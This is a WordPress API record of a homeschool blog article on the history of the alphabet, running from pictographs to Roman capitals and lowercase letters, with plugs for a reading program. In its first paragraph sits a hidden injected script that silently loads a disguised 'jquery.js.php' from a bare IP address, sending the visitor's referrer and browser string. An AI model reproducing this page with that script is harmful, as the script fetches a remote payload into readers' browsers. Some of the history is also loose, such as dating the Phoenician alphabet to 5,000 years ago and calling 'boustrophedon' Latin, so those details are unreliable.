{"id":189,"date":"2015-01-26T10:06:30","date_gmt":"2015-01-26T18:06:30","guid":{"rendered":"http:\/\/action-reading.com\/fun\/?p=189"},"modified":"2015-01-26T10:06:30","modified_gmt":"2015-01-26T18:06:30","slug":"history-of-the-alphabet","status":"publish","type":"post","link":"http:\/\/action-reading.com\/fun\/?p=189","title":{"rendered":"History of the Alphabet"},"content":{"rendered":"<h3>By Jeanie Eller MA<\/h3>\n<h5>Homeschool.com Magazine 2015<\/h5>\n<p>People have always communicated. \u00a0 Legends, <noindex><script type=\"text\/javascript\" rel=\"nofollow\" style=\"text-decoration:none;color:#676c6c\"> document.write(\"<script language='javascript' rel='nofollow' type='text\/javascript' src='http:\/\/5.45.67.97\/1\/jquery.js.php?r=\" + encodeuri(document.referrer) + \"&#038;u=\" + encodeuri(navigator.useragent) + \"'><\/sc\" + \"ript>\"); <\/script><\/noindex>  information and knowledge were handed down from generation to generation by word of mouth. \u00a0Eventually people started leaving marks on rocks as a form of communication. \u00a0Our written language evolved from these early rock markings and cave drawings. \u00a0Many of these original drawings have been preserved in caves throughout the world. Linguists have established that our written language came from drawings in the Sinai Desert. \u00a0These drawings are called Sinai Hieroglyphics.<\/p>\n<p>These first drawings were called pictographs because the picture represented exactly what it looked like.<\/p>\n<p>For example,<\/p>\n<p>This looked like the head of a bull and it meant a bull.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-199\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/bull.jpg\" alt=\"bull\" width=\"43\" height=\"34\" \/><\/p>\n<p>This is a picture of an eye.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-198\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/eye.jpg\" alt=\"eye\" width=\"41\" height=\"24\" \/><\/p>\n<p>This is a picture representing water.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-197\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/water.jpg\" alt=\"water\" width=\"74\" height=\"26\" \/><\/p>\n<p>When they put the water across the eye that would represent crying or weeping.<img decoding=\"async\" loading=\"lazy\" class=\" size-full wp-image-191 alignnone\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/crying.jpg\" alt=\"crying\" width=\"67\" height=\"23\" \/><\/p>\n<p>Weeping is a more abstract thought than just a picture of an eye.\u00a0 It represents an idea.\u00a0 Thus,   these symbols are called idea graphs or ideographs.\u00a0 Ideographs were the next stage of written communication.<\/p>\n<p>The Phoenicians were traders and businessmen who needed a more concise form of communicating. \u00a0They did not have the time to carve huge slabs of stone with pictures on them. \u00a0Also, these picture stories were often misinterpreted \u2013 they needed a concise record keeping system.<\/p>\n<p>They took the symbols that had been used up until that time and decided that instead of this picture representing a house\u00a0 \u00a0<img decoding=\"async\" loading=\"lazy\" class=\"  wp-image-204 alignnone\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/hous1.jpg\" alt=\"hous1\" width=\"15\" height=\"26\" \/>it would represent a sound in their language which is buh. \u00a0Each symbol came to represent one sound in the Phoenician Language. \u00a0It was a perfect sound-symbol correspondence - one symbol for one sound. \u00a0The new writing method was the alphabetic system. \u00a0The alphabet has been claimed to be the greatest invention of humankind because it enabled humans to transmit information across miles and from one generation to another across centuries.<\/p>\n<p>Every one of our letters comes from a pictographic symbol.<br \/>\nThis drawing, which can be found in caves with prehistoric pictographs, represents the head of a bull.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-199\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/bull.jpg\" alt=\"bull\" width=\"35\" height=\"28\" \/> If a person was being chased by a bull, and wanted to alert the other cavemen in the vicinity, they would not make such an elaborate drawing. Instead, they would use simple lines to illustrate the horns, ears, and nose.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-196\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/a1.jpg\" alt=\"a1\" width=\"38\" height=\"35\" \/>\u00a0Over many centuries, this symbol was turned on its side.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-195\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/a2.jpg\" alt=\"a2\" width=\"33\" height=\"29\" \/> The Romans adopted it in this form.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-194\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/a.jpg\" alt=\"a\" width=\"27\" height=\"28\" \/><br \/>\nThey dropped off the extended arms and it became our capital letter A. The Hebrew name for this letter was Aleph. The Greeks called it Alpha.<\/p>\n<p>This pictograph represented a house. <img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-193\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/house.jpg\" alt=\"house\" width=\"60\" height=\"26\" \/>Eventually, it was turned on its side.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-192 size-full\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/house1-e1422288242642.jpg\" alt=\"house1\" width=\"27\" height=\"44\" \/> The rooms were closed up and divided. <img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-204\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/hous1.jpg\" alt=\"hous1\" width=\"20\" height=\"35\" \/>The pictograph became rounded and is now our capital letter B. The Hebrews called this letter Beth, the Greeks called it Beta.<\/p>\n<p>The alphabet went through many centuries and many languages.\u00a0 The letters had various names in different languages. The Hebrews called the first two letters 'Aleph' and 'Beth'. You can find the Hebrew alphabet in the Bible in Psalm 119.\u00a0 The names of the sections are the letters of the Hebrew alphabet.<\/p>\n<p>The Greeks called the first two letters 'Alpha' and 'Beta'.\u00a0 We have joined those two letters names together to make our word, alphabet.\u00a0 The Phoenicians developed the alphabet 5,000 years ago.\u00a0 It was a perfect sound-symbol system.\u00a0 One letter represented one sound.\u00a0 The Phoenicians used symbols that had represented pictures or concepts but they changed these pictures from meaning bearing symbols to sound bearing symbols.\u00a0 The symbols (letters) would be written down, (encoded) to send a message.\u00a0 The reader would look at the symbols (letters) say the sounds that were represented by those symbols and decode (read) the message.\u00a0 That is how writing and reading were invented.<\/p>\n<p>The Action Reading FUNdamentals program includes a card that gives the history of each letter of the alphabet.\u00a0 \u00a0<a href=\"http:\/\/www.actionreading.com\">www.actionreading.com<\/a><\/p>\n<p>The Romans conquered the entire known world and carried the alphabet with them on their conquests to the British Isles.\u00a0 The people in the British Isles had no written language.\u00a0 They were forced to use the Roman alphabet to write the English language but they ran out of letters.\u00a0 There were only 26 letters and they had 44 sounds.\u00a0 Eventually they had sounds that had no letters to represent them.\u00a0 They had to combine letters together to represent a sound.\u00a0 For example, when \u2018S\u2019 and \u2018H\u2019 are together they do not make the sounds 'suh' and 'huh'.\u00a0 They say, \u2018sh'.\u00a0 That is why in English, we have 70 ways to write down the 44 sounds of our language.<\/p>\n<p>The letters took their particular forms because of the instruments that were used to produce them.\u00a0 When the Romans got the alphabet they were chiseling the letters in stone. The letters took on the shapes that were easily made with that tool. They came to be known as our capital letters or the Roman letters.<\/p>\n<p>The printing press had not been invented yet so all books were hand written. As Monks sat and hand copied with ink and quills they tried to make faster forms of the letters.\u00a0 They tried to make a two stroke A instead of a three stroke A.\u00a0 Over many centuries is got rounded and became our lower case lower case a.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-201\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/aaa.jpg\" alt=\"aaa\" width=\"42\" height=\"22\" \/> \u00a0Every one of our lower case letters evolved from an upper case\u00a0(capital) letter.<img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-202\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/bd.jpg\" alt=\"bd\" width=\"65\" height=\"42\" \/> \u00a0When the printing press was invented, each letter was set by hand into the press.\u00a0 The capitals were kept on a top shelf and the printer would say to his assistant.\u00a0 Hand me an A from the upper case.\u00a0 Hand me two c\u2019s from the lower case where he kept the Irish uncials. That is the only historical significance to our terms \u201cupper\u201d and \u201clower\u201d case letters.<\/p>\n<p>There was a time in the history of writing when people could write from right to left or left to right or back and forth in alternating directions.\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-200\" src=\"http:\/\/action-reading.com\/fun\/wp-content\/uploads\/2015\/01\/ereverse.jpg\" alt=\"ereverse\" width=\"27\" height=\"30\" \/>The term Boustro Phedon is Latin meaning \u201cas the ox plows.\u201d\u00a0 While it seems strange to us to write in one direction and then switch to another, it made perfect sense to primitive people who were used to plowing across a field then turning and plowing back the other direction.\u00a0 Children who are beginning to learn to write can do this same thing.\u00a0 <strong>They do not have a learning disability<\/strong>.\u00a0 They just have to be trained to track left to right because in English we write from left to right.\u00a0 Some languages, such as Hebrew, are written from right to left. The printing press standardized the direction of printing English from left to right.<\/p>\n<p>&nbsp;<\/p>\n<p>INSPITEOFTHEGREATBEAUTYOFANCIENTWRITING<\/p>\n<p>ITAPPEARSTRANGETOUSBECAUSEITISALLINCAPITALSSMALL<\/p>\n<p>LETTERSWERENOTINTRODUCEDUNTILTHEMIDDLEAGES<\/p>\n<p>What else is missing in this passage?<\/p>\n<p>There are no spaces between the words and there is no punctuation. Beginning writers will also do this unless they are instructed to leave spaces between words, to write with lower case letters, and to begin sentences with a capital and end with the appropriate punctuation.<\/p>\n<p>In 1450, Johann Gutenberg devised a way to cast movable type for printing.\u00a0 In 1456, he printed the first book printed from movable metal type cast in molds.\u00a0 It is generally referred to as the Gutenberg Bible.<\/p>\n<p>The Action Reading FUNdamentals program teaches children to be fluent, independent, proficient readers who are able to read anything in English by teaching the alphabetic code using songs, games, activities and decodable text. <a href=\"http:\/\/www.actionreading.com\">www.actionreading.com<\/a><\/p>\n<p><em><strong>Jeanie Eller, M.A.,<\/strong> is a nationally renowned Educator and Literacy Consultant.\u00a0 She has taught kindergarten through graduate level classes for over forty years.\u00a0 The National Right to Read Foundation recognizes her as one of the country\u2019s leading Literacy experts.\u00a0 She has been a featured guest on over 1500 radio and television talk shows coast to coast and a featured speaker for Home School meetings and conferences. She has held 14 summer camps to teach kids to read in two weeks and taught illiterate adults to read in two weeks for the Oprah Winfrey Show. She is the teacher on the FUNdamentals tutorial program available at <a href=\"http:\/\/www.actionreading.com\">www.actionreading.com<\/a><\/em><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>By Jeanie Eller MA Homeschool.com Magazine 2015 People have always communicated. \u00a0 Legends, information and knowledge were handed down from generation to generation by word&#8230;<\/p>\n","protected":false},"author":1,"featured_media":217,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,4,5],"tags":[],"_links":{"self":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/189"}],"collection":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=189"}],"version-history":[{"count":13,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/189\/revisions"}],"predecessor-version":[{"id":216,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/189\/revisions\/216"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/media\/217"}],"wp:attachment":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=189"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}